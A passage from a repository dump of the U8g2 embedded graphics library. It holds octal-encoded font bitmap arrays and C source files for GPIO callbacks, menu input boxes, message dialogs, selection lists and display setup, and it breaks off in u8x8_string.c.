"\17\17\7\0\0\0\0\0\0\0\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\0\0\0" "\0\0\0\0\0\0\0\0\0\0\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\20\34\34\14\0\0\0" "\0\0\0\0\0\0\0\200\300\340p\70\34\14\4\0\0\0\0\0\0\0\0\0\1\3\7\16\34\30\20\0" "\0\0\0\0\0\0@@@@@@@@@@@@\0\0\0\0\2\2\2\2\2\2\2\2\2\2" "\2\2\0\0\0\0\0\0\0\4\14\34\70p\340\300\200\0\0\0\0\0\0\0\0\20\30\34\16\7\3\1" "\0\0\0\0\0\0\20\30\30\14\4\4\204\304\354x\70\20\0\0\0\0\0\0\0\0\0\33\33\33\0\0" "\0\0\0\0\0\360\370\370\14\4\304\344\344$$,\370\370\360\0\0\7\17\17\30\20\21\23\23\22\22\22" "\23\23\1\0\0\0\300\340\360\70\34\14\14\34\70\360\340\300\0\0\0\0\37\37\37\1\1\1\1\1\1\37" "\37\37\0\0\0\0\374\374\374\204\204\204\204\204\204\314xx\60\0\0\0\37\37\37\20\20\20\20\20\20\31" "\17\17\6\0\0\0\360\370\370\14\4\4\4\4\4\14\30\30\20\0\0\0\7\17\17\30\20\20\20\20\20\30" "\14\14\4\0\0\0\374\374\374\4\4\4\4\4\4\14\370\370\360\0\0\0\37\37\37\20\20\20\20\20\20\30" "\17\17\7\0\0\0\374\374\374\204\204\204\204\204\204\4\4\4\0\0\0\0\37\37\37\20\20\20\20\20\20\20" "\20\20\0\0\0\0\374\374\374\204\204\204\204\204\204\4\4\4\0\0\0\0\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\4\4\4\4\14\30\30\20\0\0\0\7\17\17\30\20\20\20\20\21\31" "\17\17\7\0\0\0\374\374\374\200\200\200\200\200\200\200\374\374\374\0\0\0\37\37\37\0\0\0\0\0\0\0" "\37\37\37\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\4\14\14\30\20\20\20\30\17" "\17\7\0\0\0\0\0\374\374\374\300\340\360\70\34\14\4\0\0\0\0\0\0\37\37\37\0\1\3\7\16\34" "\30\20\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\20\20\20\20\20\20\20" "\20\20\0\0\0\374\374\374\34\70p\340\340p\70\34\374\374\374\0\0\37\37\37\0\0\0\0\0\0\0\0" "\37\37\37\0\0\0\374\374\374\70p\340\300\200\0\0\374\374\374\0\0\0\37\37\37\0\0\0\1\3\7\16" "\37\37\37\0\0\0\360\370\370\14\4\4\4\4\4\14\370\370\360\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\374\374\374\204\204\204\204\204\204\314xx\60\0\0\0\37\37\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\4\4\4\4\14\370\370\360\0\0\0\7\17\17\30\20\20\24\34\34\70" "\77/\7\0\0\0\374\374\374\204\204\204\204\204\204\314xx\60\0\0\0\37\37\37\0\0\0\1\3\7\16" "\34\30\20\0\0\60xx\314\204\204\204\204\204\204\214\30\30\20\0\0\4\14\14\30\20\20\20\20\20\20\31" "\17\17\6\0\0\0\4\4\4\4\4\374\374\374\4\4\4\4\4\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\374\374\374\0\0\0\7\17\17\30\20\20\20\20\20\30" "\17\17\7\0\0\0\374\374\374\0\0\0\0\0\0\374\374\374\0\0\0\0\1\3\7\16\34\30\30\34\16\7" "\3\1\0\0\0\374\374\374\0\0\0\0\0\0\0\0\374\374\374\0\0\7\17\37\30\34\16\7\7\16\34\30" "\37\17\7\0\0\0\14\34\34\16\7\3" "\1\0\0\0\0\0@@@@@@@@@\300\300\300@\0\0\0\20\30\30\34\24\26\22\23\21\21" "\20\20\20\0\0\0\0\200\200\200\360x|\14\4\4\4\0\0\0\0\0\0\0\0\0\7\17\37\30\20\20" "\20\0\0\0\0\0\0\0\0\0\0|||\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\0\4\4\4\14|x\360\200\200\200\0\0\0\0\0\0\20\20\20\30\37\17\7\0\0" "\0\0\0\0\0\0\10\10\10\14\4\4\14\10\10\14\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\300@` \60\20\60 `@\300\200\200\0\3\3\3\2\2\2\2\2\2\2\2" "\2\3\3\3"; /* Fontname: -FreeType-Px437 Wyse700b-Medium-R-Normal--16-160-72-72-P-124-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 18/288 BBX Build Mode: 3 */ const uint8_t u8x8_font_px437wyse700b_2x2_n[868] U8X8_FONT_SECTION("u8x8_font_px437wyse700b_2x2_n") = " :\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\200\240\240\340\300\300\300\340\240\240\200\200\0\0\0\0\0\2\2\3\1\1\1\3\2" "\2\0\0\0\0\0\200\200\200\200\200\360\360\360\200\200\200\200\200\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@xx\70\30\0\0" "\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\30\30\30\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340p\70\30\10\0\0\0\0\0\10\14\16\7\3\1\0\0\0" "\0\0\0\0\0\0\360\370\370\14\4\204\304d<\370\370\360\0\0\0\0\7\17\17\36\23\21\20\20\30\17" "\17\7\0\0\0\0\0\0\20\20\30\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37\37\0\0" "\0\0\0\0\0\0\10\10\14\4\4\4\4\204\204\314xx\60\0\0\0\30\34\34\26\22\23\21\21\20\20" "\20\20\20\0\0\0\10\10\14\4\4\204\204\204\204\314xx\60\0\0\0\10\10\30\20\20\20\20\20\20\31" "\17\17\6\0\0\0\200\300\340p\70\34\14\374\374\374\0\0\0\0\0\0\1\1\1\1\1\1\1\37\37\37" "\1\1\0\0\0\0|||DDDDDD\304\204\204\4\0\0\0\10\10\30\20\20\20\20\20\20\30" "\17\17\7\0\0\0\360\370\370\214\204\204\204\204\204\204\0\0\0\0\0\0\7\17\17\30\20\20\20\20\20\31" "\17\17\6\0\0\0\4\4\4\4\4\204\304\344|<\34\0\0\0\0\0\0\0\0\0\37\37\37\0\0\0" "\0\0\0\0\0\0\60xx\314\204\204\204\204\204\314xx\60\0\0\0\6\17\17\31\20\20\20\20\20\31" "\17\17\6\0\0\0\60xx\314\204\204\204\204\204\214\370\370\360\0\0\0\0\0\20\20\20\20\20\20\20\30" "\17\17\7\0\0\0\0\0\0\0\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\0\0\0" "\0\0\0"; ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_gpio.c ================================================ /* u8x8_gpio.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" void u8x8_gpio_call(u8x8_t *u8x8, uint8_t msg, uint8_t arg) { u8x8->gpio_and_delay_cb(u8x8, msg, arg, NULL); } /* void u8x8_gpio_Delay(u8x8_t *u8x8, uint8_t msg, uint8_t dly) { u8x8->gpio_and_delay_cb(u8x8, msg, dly, NULL); } */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_input_value.c ================================================ /* u8x8_input_value.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* return: 0: value is not changed (HOME/Break Button pressed) 1: value has been updated */ uint8_t u8x8_UserInterfaceInputValue(u8x8_t *u8x8, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post) { uint8_t height; uint8_t y; uint8_t width; uint8_t x; uint8_t local_value = *value; uint8_t r; uint8_t event; /* calculate overall height of the input value box */ height = 1; /* button line */ height += u8x8_GetStringLineCnt(title); /* calculate offset from top */ y = 0; if ( height < u8x8_GetRows(u8x8) ) { y = u8x8_GetRows(u8x8); y -= height; y /= 2; } /* calculate offset from left for the label */ x = 0; width = u8x8_GetUTF8Len(u8x8, pre); width += digits; width += u8x8_GetUTF8Len(u8x8, post); if ( width < u8x8_GetCols(u8x8) ) { x = u8x8_GetCols(u8x8); x -= width; x /= 2; } /* render */ u8x8_ClearDisplay(u8x8); /* required, because not everything is filled */ u8x8_SetInverseFont(u8x8, 0); y += u8x8_DrawUTF8Lines(u8x8, 0, y, u8x8_GetCols(u8x8), title); x += u8x8_DrawUTF8(u8x8, x, y, pre); u8x8_DrawUTF8(u8x8, x+digits, y, post); u8x8_SetInverseFont(u8x8, 1); /* event loop */ u8x8_DrawUTF8(u8x8, x, y, u8x8_u8toa(local_value, digits)); for(;;) { event = u8x8_GetMenuEvent(u8x8); if ( event == U8X8_MSG_GPIO_MENU_SELECT ) { *value = local_value; r = 1; break; } else if ( event == U8X8_MSG_GPIO_MENU_HOME ) { r = 0; break; } else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_UP ) { if ( local_value >= hi ) local_value = lo; else local_value++; u8x8_DrawUTF8(u8x8, x, y, u8x8_u8toa(local_value, digits)); } else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_DOWN ) { if ( local_value <= lo ) local_value = hi; else local_value--; u8x8_DrawUTF8(u8x8, x, y, u8x8_u8toa(local_value, digits)); } } u8x8_SetInverseFont(u8x8, 0); return r; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_message.c ================================================ /* u8x8_message.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" uint8_t u8x8_draw_button_line(u8x8_t *u8x8, uint8_t y, uint8_t w, uint8_t cursor, const char *s) { uint8_t i; uint8_t cnt; uint8_t total; uint8_t d; uint8_t x; cnt = u8x8_GetStringLineCnt(s); /* calculate the width of the button */ total = 0; for( i = 0; i < cnt; i++ ) { total += u8x8_GetUTF8Len(u8x8, u8x8_GetStringLineStart(i, s)); } total += (cnt-1); /* had one space between the buttons */ /* calculate the left offset */ d = 0; if ( total < w ) { d = w; d -= total; d /= 2; } /* draw the buttons */ x = d; u8x8_SetInverseFont(u8x8, 0); for( i = 0; i < cnt; i++ ) { if ( i == cursor ) u8x8_SetInverseFont(u8x8, 1); x+=u8x8_DrawUTF8(u8x8, x, y, u8x8_GetStringLineStart(i, s)); u8x8_SetInverseFont(u8x8, 0); x+=u8x8_DrawUTF8(u8x8, x, y, " "); } /* return the number of buttons */ return cnt; } /* title1: Multiple lines,separated by '\n' title2: A single line/string which is terminated by '\0' or '\n' . "title2" accepts the return value from u8x8_GetStringLineStart() title3: Multiple lines,separated by '\n' buttons: one more more buttons separated by '\n' and terminated with '\0' */ uint8_t u8x8_UserInterfaceMessage(u8x8_t *u8x8, const char *title1, const char *title2, const char *title3, const char *buttons) { uint8_t height; uint8_t y; uint8_t cursor = 0; uint8_t button_cnt; uint8_t event; u8x8_SetInverseFont(u8x8, 0); /* calculate overall height of the message box */ height = 1; /* button line */ height += u8x8_GetStringLineCnt(title1); if ( title2 != NULL ) height ++; height += u8x8_GetStringLineCnt(title3); /* calculate offset from top */ y = 0; if ( height < u8x8_GetRows(u8x8) ) { y = u8x8_GetRows(u8x8); y -= height; y /= 2; } /* draw message box */ u8x8_ClearDisplay(u8x8); /* required, because not everything is filled */ y += u8x8_DrawUTF8Lines(u8x8, 0, y, u8x8_GetCols(u8x8), title1); if ( title2 != NULL ) { u8x8_DrawUTF8Line(u8x8, 0, y, u8x8_GetCols(u8x8), title2); y++; } y += u8x8_DrawUTF8Lines(u8x8, 0, y, u8x8_GetCols(u8x8), title3); button_cnt = u8x8_draw_button_line(u8x8, y, u8x8_GetCols(u8x8), cursor, buttons); for(;;) { event = u8x8_GetMenuEvent(u8x8); if ( event == U8X8_MSG_GPIO_MENU_SELECT ) return cursor+1; else if ( event == U8X8_MSG_GPIO_MENU_HOME ) break; else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_UP ) { cursor++; if ( cursor >= button_cnt ) cursor = 0; u8x8_draw_button_line(u8x8, y, u8x8_GetCols(u8x8), cursor, buttons); } else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_DOWN ) { if ( cursor == 0 ) cursor = button_cnt; cursor--; u8x8_draw_button_line(u8x8, y, u8x8_GetCols(u8x8), cursor, buttons); } } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_selection_list.c ================================================ /* u8x8_selection_list.c selection list with scroll option Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* increase the cursor position */ void u8sl_Next(u8sl_t *u8sl) { u8sl->current_pos++; if ( u8sl->current_pos >= u8sl->total ) { u8sl->current_pos = 0; u8sl->first_pos = 0; } else { if ( u8sl->first_pos + u8sl->visible <= u8sl->current_pos + 1 ) { u8sl->first_pos = u8sl->current_pos - u8sl->visible + 1; } } } void u8sl_Prev(u8sl_t *u8sl) { if ( u8sl->current_pos == 0 ) { u8sl->current_pos = u8sl->total - 1; u8sl->first_pos = 0; if ( u8sl->total > u8sl->visible ) u8sl->first_pos = u8sl->total - u8sl->visible; } else { u8sl->current_pos--; if ( u8sl->first_pos > u8sl->current_pos ) u8sl->first_pos = u8sl->current_pos; } } void u8x8_DrawSelectionList(u8x8_t *u8x8, u8sl_t *u8sl, u8x8_sl_cb sl_cb, const void *aux) { uint8_t i; for( i = 0; i < u8sl->visible; i++ ) { sl_cb(u8x8, u8sl, i+u8sl->first_pos, aux); } } /* selection list with string line */ void u8x8_sl_string_line_cb(u8x8_t *u8x8, u8sl_t *u8sl, uint8_t idx, const void *aux) { const char *s; uint8_t row; /* calculate offset from display upper border */ row = u8sl->y; /* calculate target pos */ row += idx; row -= u8sl->first_pos; /* check whether this is the current cursor line */ if ( idx == u8sl->current_pos ) u8x8_SetInverseFont(u8x8, 1); else u8x8_SetInverseFont(u8x8, 0); /* get the line from the array */ s = u8x8_GetStringLineStart(idx, (const char *)aux); /* draw the line */ if ( s == NULL ) s = ""; u8x8_DrawUTF8Line(u8x8, u8sl->x, row, u8x8_GetCols(u8x8), s); u8x8_SetInverseFont(u8x8, 0); } /* title: NULL for no title, valid str for title line. Can contain mutliple lines, separated by '\n' start_pos: default position for the cursor (starts with 1) sl: string list (list of strings separated by \n) returns 0 if user has pressed the home key returns the selected line+1 if user has pressed the select key (e.g. 1 for the first line) */ uint8_t u8x8_UserInterfaceSelectionList(u8x8_t *u8x8, const char *title, uint8_t start_pos, const char *sl) { u8sl_t u8sl; uint8_t event; uint8_t title_lines; if ( start_pos > 0 ) start_pos--; u8sl.visible = u8x8_GetRows(u8x8); u8sl.total = u8x8_GetStringLineCnt(sl); u8sl.first_pos = 0; u8sl.current_pos = start_pos; u8sl.x = 0; u8sl.y = 0; //u8x8_ClearDisplay(u8x8); /* not required because all is 100% filled */ u8x8_SetInverseFont(u8x8, 0); if ( title != NULL ) { title_lines = u8x8_DrawUTF8Lines(u8x8, u8sl.x, u8sl.y, u8x8_GetCols(u8x8), title); u8sl.y+=title_lines; u8sl.visible-=title_lines; } if ( u8sl.current_pos >= u8sl.total ) u8sl.current_pos = u8sl.total-1; u8x8_DrawSelectionList(u8x8, &u8sl, u8x8_sl_string_line_cb, sl); for(;;) { event = u8x8_GetMenuEvent(u8x8); if ( event == U8X8_MSG_GPIO_MENU_SELECT ) return u8sl.current_pos+1; else if ( event == U8X8_MSG_GPIO_MENU_HOME ) return 0; else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_DOWN ) { u8sl_Next(&u8sl); u8x8_DrawSelectionList(u8x8, &u8sl, u8x8_sl_string_line_cb, sl); } else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_UP ) { u8sl_Prev(&u8sl); u8x8_DrawSelectionList(u8x8, &u8sl, u8x8_sl_string_line_cb, sl); } } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_setup.c ================================================ /* u8x8_setup.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* universal dummy callback, which will be default for all callbacks */ uint8_t u8x8_dummy_cb(U8X8_UNUSED u8x8_t *u8x8, U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { /* the dummy callback will not handle any message and will fail for all messages */ return 0; } static const u8x8_display_info_t u8x8_null_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 0, /* pre_chip_disable_wait_ns = */ 0, /* reset_pulse_width_ms = */ 0, /* post_reset_wait_ms = */ 0, /* sda_setup_time_ns = */ 0, /* sck_pulse_width_ns = */ 0, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 0, /* write_pulse_width_ns = */ 0, /* tile_width = */ 1, /* 8x8 */ /* tile_hight = */ 1, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 8, /* pixel_height = */ 8 }; /* a special null device */ uint8_t u8x8_d_null_cb(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_null_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); break; } /* the null device callback will succeed for all messages */ return 1; } /* Description: Setup u8x8 Args: u8x8 An empty u8x8 structure */ void u8x8_SetupDefaults(u8x8_t *u8x8) { u8x8->display_info = NULL; u8x8->display_cb = u8x8_dummy_cb; u8x8->cad_cb = u8x8_dummy_cb; u8x8->byte_cb = u8x8_dummy_cb; u8x8->gpio_and_delay_cb = u8x8_dummy_cb; u8x8->is_font_inverse_mode = 0; //u8x8->device_address = 0; u8x8->utf8_state = 0; /* also reset by u8x8_utf8_init */ u8x8->bus_clock = 0; /* issue 769 */ u8x8->i2c_address = 255; u8x8->debounce_default_pin_state = 255; /* assume all low active buttons */ #ifdef U8X8_USE_PINS { uint8_t i; for( i = 0; i < U8X8_PIN_CNT; i++ ) u8x8->pins[i] = U8X8_PIN_NONE; } #endif } /* Description: Setup u8x8 and assign the callback function. The dummy callback "u8x8_dummy_cb" can be used, if no callback is required. This setup will not communicate with the display itself. Use u8x8_InitDisplay() to send the startup code to the Display. Args: u8x8 An empty u8x8 structure display_cb Display/controller specific callback function cad_cb Display controller specific communication callback function byte_cb Display controller/communication specific callback funtion gpio_and_delay_cb Environment specific callback function */ void u8x8_Setup(u8x8_t *u8x8, u8x8_msg_cb display_cb, u8x8_msg_cb cad_cb, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { /* setup defaults and reset pins to U8X8_PIN_NONE */ u8x8_SetupDefaults(u8x8); /* setup specific callbacks */ u8x8->display_cb = display_cb; u8x8->cad_cb = cad_cb; u8x8->byte_cb = byte_cb; u8x8->gpio_and_delay_cb = gpio_and_delay_cb; /* setup display info */ u8x8_SetupMemory(u8x8); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_string.c ================================================ /* u8x8_string.c string line procedures Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" uint8_t u8x8_GetStringLineCnt(const char *str) { char e; uint8_t line_cnt = 1; if ( str == NULL ) return 0; for(;;) { e = *str; if ( e == '\0' ) break; str++; if ( e == '\n' ) line_cnt++; } return line_cnt; } /* Assumes strings, separated by '\n' in "str". Returns the string at index "line_idx". First 